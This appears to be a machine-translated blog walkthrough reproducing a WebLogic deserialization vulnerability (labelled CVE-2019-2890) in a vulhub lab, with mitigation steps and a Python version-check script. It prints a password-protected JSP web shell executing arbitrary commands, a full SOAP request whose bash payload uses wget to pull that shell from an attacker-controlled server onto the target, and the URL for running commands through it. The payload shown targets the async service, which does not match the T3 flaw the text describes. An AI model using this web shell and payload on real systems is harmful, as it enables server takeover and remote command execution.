Vulnerabilidad de deserialización de WebLogic (CVE-2019-2890) reproducida (súper detallada)

   Tabla de contenido

1. Introducción a la vulnerabilidad

2. Alcance de influencia

Tres. Construcción de entornos de vulnerabilidad

4. Reincidencia de la vulnerabilidad

V. Corrección de errores

6. Poc de detección de vulnerabilidades


   Muchas lagunas que reproducen artículos no son lo suficientemente detallados, es decir, si reproduces de acuerdo con lo que él escribió, habrá muchos, muchos problemas. Sinteticé varios artículos y anoté los pasos más detallados para reproducirlos. Espero ayudar a todos a evitar desvíos.

1. Introducción a la vulnerabilidad

       El 15 de octubre de 2019, Oracle publicó oficialmente el boletín de actualización de seguridad de octubre de 2019, que contiene una vulnerabilidad de alto riesgo que puede provocar la ejecución remota de código arbitrario de RCE. El número de vulnerabilidad es CVE-2019-2890.

       Cuando Weblogic utiliza el protocolo T3 para llamadas de carga de recursos remotos, realizará un filtrado de lista negra de forma predeterminada para garantizar la seguridad de la deserialización. Esta vulnerabilidad pasa por alto la lista negra de deserialización de Weblogic, lo que permite a los atacantes atacar de forma remota los componentes vulnerables de Weblogic a través del protocolo T3. Dado que el protocolo T3 está habilitado de forma predeterminada cuando la consola de Weblogic está encendida, y la instalación predeterminada de Weblogic encenderá automáticamente la consola, un atacante puede usar esta vulnerabilidad para provocar la ejecución remota de código para controlar el servidor de Weblogic.

2. Alcance de influencia

  • WebLogic Server 10.3.6.0
  • Servidor WebLogic 12.1.3.0
  • Servidor WebLogic 12.2.1.3

Tres. Construcción de entornos de vulnerabilidad

Versión del entorno de prueba: weblogic 10.3.6.0

Use la vulnerabilidad CVE-2017-10271 en vulhub directamente, ingrese al directorio relevante y ejecute docker-compose up -d

Visita: 7001 / consola, el siguiente entorno se ha configurado correctamente

4. Reincidencia de la vulnerabilidad

Determine si existe una vulnerabilidad, como se muestra en la figura siguiente, puede haber una vulnerabilidad

http://192.168.1.5:7001/_async/AsyncResponseService

1. Cree el archivo shell.txt e inicie el servicio web.

       Aquí creo un archivo shell.txt en los vps remotos. El contenido del archivo es el siguiente. E inicie el servicio web con python en el directorio donde se encuentra el archivo actual, comando: python3 -m http.server 11111

shell.txt

<%
    if("123".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[1024];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

Visite el servicio web, el servicio web se abre correctamente

2. Visite  http://192.168.1.5:7001/_async/AsyncResponseService para interceptar el paquete de datos

Reemplace el paquete de datos interceptado con el siguiente paquete de datos

POST /_async/AsyncResponseService HTTP/1.1
Host: you ip:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Connection: close
Content-Length: 858
content-type: text/xml

<soapenv:Envelope 
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://web服务ip:端口/shell.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/shell.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

Como se muestra a continuación, si se devuelven los datos de respuesta, la operación se realiza correctamente. En este momento, el archivo troyano se ha escrito en el servidor.

3. Accede al caparazón

http://192.168.1.5:7001/_async/shell.jsp?pwd=123&cmd=whoami

V. Corrección de errores

1. Actualización del parche de octubre de 2019 de Oracle

      https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html

2. Controlar el acceso al protocolo T3

      Esta vulnerabilidad se genera en el servicio T3 de WebLogic, por lo que los ataques contra la vulnerabilidad se pueden bloquear temporalmente controlando el acceso del protocolo T3. Al abrir el puerto de la consola WebLogic (puerto 7001 por defecto), el servicio T3 estará habilitado por defecto. Operación específica:

(1) Ingrese a la consola WebLogic, en la página de configuración de base_domain, ingrese a la pestaña "Seguridad", haga clic en "Filtro" para ingresar a la configuración del filtro de conexión.

(2) Ingrese en el filtro de conexión: weblogic.security.net.ConnectionFilterImpl, ingrese la regla del filtro de conexión: 127.0.0.1 * * allow t3 t3s, 0.0.0.0/0 * * deny t3 t3s (protocolo t3 y t3s Todos los puertos Permitir solo el acceso local).

(3) Después de guardar, es necesario reiniciarlo para que las reglas surtan efecto.
 

6. Poc de detección de vulnerabilidades

#author:xcc
import requests
import re
import argparse
headers={
	'User-Agent':'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Mobile Safari/537.36'
}
def url():
	parser = argparse.ArgumentParser(description=' WebLogic 反序列化漏洞(CVE-2019-2890)POC')
	parser.add_argument('target_url',type=str,help='The target address,example: http://192.168.140.153:7001')
	args = parser.parse_args() 
	global url
	url = args.target_url
	print('[+]author:xcc')
	print('[-]WebLogic 反序列化漏洞(CVE-2019-2890)检测')
	print(f'[-]目标:{url}')
	print('[-]正在请求目标地址...')
	if url.startswith('http://') or url.startswith('https://'):
		pass
	else:
		print('[-]Please include http:// or https:// in the URL!!')
		os._exit(0)
def poc():
	url_console = url + '/console'
	try:
		console_text = requests.get(url=url_console,headers=headers).text
		ex = '<p id="footerVersion">WebLogic Server .*: (.*?)</p>'
		result = re.findall(ex,console_text,re.S)
		url_vul = url + "/_async/AsyncResponseService"
		r = requests.get(url=url_vul,headers=headers)
		version_list = ['12.2.1.3','12.1.3.0','10.3.6.0']
		if r.status_code == 200 and "Welcome to the" in r.text and result[0] in version_list:
			print('[+]漏洞存在')
		else:
			print('[-]漏洞不存在')
	except Exception as error:
		print('发生错误:',error)

if __name__ == '__main__':
	url()
	poc()

 

Supongo que te gusta

Origin blog.csdn.net/qq_44159028/article/details/114868924
Recomendado
Clasificación